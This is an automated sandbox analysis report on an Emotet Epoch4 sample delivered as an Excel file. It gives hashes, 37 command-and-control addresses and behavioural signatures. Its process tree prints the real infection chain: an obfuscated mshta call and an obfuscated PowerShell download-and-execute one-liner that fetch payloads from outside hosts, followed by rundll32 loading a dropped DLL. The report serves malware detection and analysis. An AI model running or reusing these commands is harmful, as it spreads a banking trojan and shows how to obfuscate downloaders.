emotet | 21750a942c925484d6e4e5fa44b8e8d795dcda94557066150d3f6a03e567d98e

Analysis

max time kernel
108s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
18/01/2022, 12:28

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General

Target
9cebcae891c79194e3c1d821b5985057.xls
Size 128KB
Sample220118-pncpwsbcbr
SHA256 21750a942c925484d6e4e5fa44b8e8d795dcda94557066150d3f6a03e567d98e
MD5 9cebcae891c79194e3c1d821b5985057
SHA1 c42fdba6f427b5ee5e5e435c53621536756f349e
SHA512 c866f07e50364d29318e733e8d43c3e54023a8c60b171fc96c8bf1adcdc160e93a0c129647dfe13eb73cf6a34e7acca43fe46d5718a5dace645d384bf3eb9d29
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/cc.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2860	1808	cmd.exe	54

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2592 created 3256	2592	WerFault.exe	61

Blocklisted process makes network request 5 IoCs

flow	pid	Process
23	3256	mshta.exe
24	236	powershell.exe
26	236	powershell.exe
28	236	powershell.exe
37	212	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
2320	rundll32.exe
1436	rundll32.exe
3488	rundll32.exe
212	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cxxqzhtapkwrhn\kpveoepfhbs.hwq	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4036	3256	WerFault.exe	61

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1808	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
236	powershell.exe
236	powershell.exe
4036	WerFault.exe
4036	WerFault.exe
212	rundll32.exe
212	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	236	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 2860	1808	EXCEL.EXE	59
PID 1808 wrote to memory of 2860	1808	EXCEL.EXE	59
PID 2860 wrote to memory of 3256	2860	cmd.exe	61
PID 2860 wrote to memory of 3256	2860	cmd.exe	61
PID 3256 wrote to memory of 236	3256	mshta.exe	64
PID 3256 wrote to memory of 236	3256	mshta.exe	64
PID 2592 wrote to memory of 3256	2592	WerFault.exe	61
PID 2592 wrote to memory of 3256	2592	WerFault.exe	61
PID 236 wrote to memory of 3320	236	powershell.exe	69
PID 236 wrote to memory of 3320	236	powershell.exe	69
PID 3320 wrote to memory of 2320	3320	cmd.exe	70
PID 3320 wrote to memory of 2320	3320	cmd.exe	70
PID 3320 wrote to memory of 2320	3320	cmd.exe	70
PID 2320 wrote to memory of 1436	2320	rundll32.exe	71
PID 2320 wrote to memory of 1436	2320	rundll32.exe	71
PID 2320 wrote to memory of 1436	2320	rundll32.exe	71
PID 1436 wrote to memory of 3488	1436	rundll32.exe	72
PID 1436 wrote to memory of 3488	1436	rundll32.exe	72
PID 1436 wrote to memory of 3488	1436	rundll32.exe	72
PID 3488 wrote to memory of 212	3488	rundll32.exe	73
PID 3488 wrote to memory of 212	3488	rundll32.exe	73
PID 3488 wrote to memory of 212	3488	rundll32.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9cebcae891c79194e3c1d821b5985057.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:236
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3320
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2320
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1436
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cxxqzhtapkwrhn\kpveoepfhbs.hwq",qnIAGOzmAdNXunW
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3488
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cxxqzhtapkwrhn\kpveoepfhbs.hwq",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:212
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3256 -s 1724
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4036

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 3256 -ip 3256
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/212-672-0x0000000005030000-0x0000000005056000-memory.dmp

Download

memory/212-670-0x0000000004F50000-0x0000000004F76000-memory.dmp

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memory/212-668-0x0000000004E20000-0x0000000004E46000-memory.dmp

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memory/212-666-0x0000000004D30000-0x0000000004D56000-memory.dmp

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memory/212-664-0x0000000004C50000-0x0000000004C76000-memory.dmp

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memory/212-660-0x00000000048F0000-0x0000000004916000-memory.dmp

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memory/212-658-0x0000000004380000-0x00000000043A6000-memory.dmp

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memory/236-178-0x0000016DC35C3000-0x0000016DC35C5000-memory.dmp

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memory/236-177-0x0000016DC35C0000-0x0000016DC35C2000-memory.dmp

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memory/236-268-0x0000016DDC050000-0x0000016DDC094000-memory.dmp

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memory/236-179-0x0000016DC35C6000-0x0000016DC35C8000-memory.dmp

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memory/236-641-0x0000016DDC120000-0x0000016DDC196000-memory.dmp

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memory/236-174-0x0000016DDBB20000-0x0000016DDBB42000-memory.dmp

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memory/1436-644-0x0000000004770000-0x0000000004796000-memory.dmp

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memory/1436-646-0x0000000004850000-0x0000000004876000-memory.dmp

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memory/1436-649-0x0000000004A50000-0x0000000004A76000-memory.dmp

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memory/1436-651-0x0000000004AB0000-0x0000000004AD6000-memory.dmp

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memory/1436-654-0x0000000004C20000-0x0000000004C46000-memory.dmp

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memory/1808-134-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-130-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-138-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

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memory/1808-137-0x00007FFCC1470000-0x00007FFCC1480000-memory.dmp

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memory/1808-133-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-132-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-131-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-694-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-695-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-696-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/1808-697-0x00007FFCC37B0000-0x00007FFCC37C0000-memory.dmp

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memory/2320-638-0x0000000004180000-0x00000000041A6000-memory.dmp

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memory/3488-655-0x0000000004870000-0x0000000004896000-memory.dmp

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